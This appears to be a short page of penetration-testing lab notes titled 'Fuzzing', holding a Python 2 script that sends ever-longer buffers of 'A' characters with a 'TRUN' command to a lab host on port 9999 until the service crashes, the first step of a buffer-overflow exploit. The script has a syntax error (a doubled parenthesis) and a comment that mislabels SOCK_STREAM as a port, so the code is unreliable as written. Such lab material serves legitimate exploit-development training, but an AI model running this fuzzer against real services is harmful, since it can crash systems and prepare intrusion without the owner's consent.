Fuzzing

#!/usr/bin/python
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
        try:
                s=socket.socket((socket.AF_INET,socket.SOCK_STREAM)   #where AF_INET = IPv4 and SOCK_STREAM = port
                s.connect(('10.10.10.129',9999))
                
                s.send(('TRUN /.:/' + buffer))
                s.close()
                sleep(1)
                buffer = buffer + "A"*100
        
        except:
                print "Fuzzing crashed at %s bytes" % str(len(buffer))
                sys.exit()

Last updated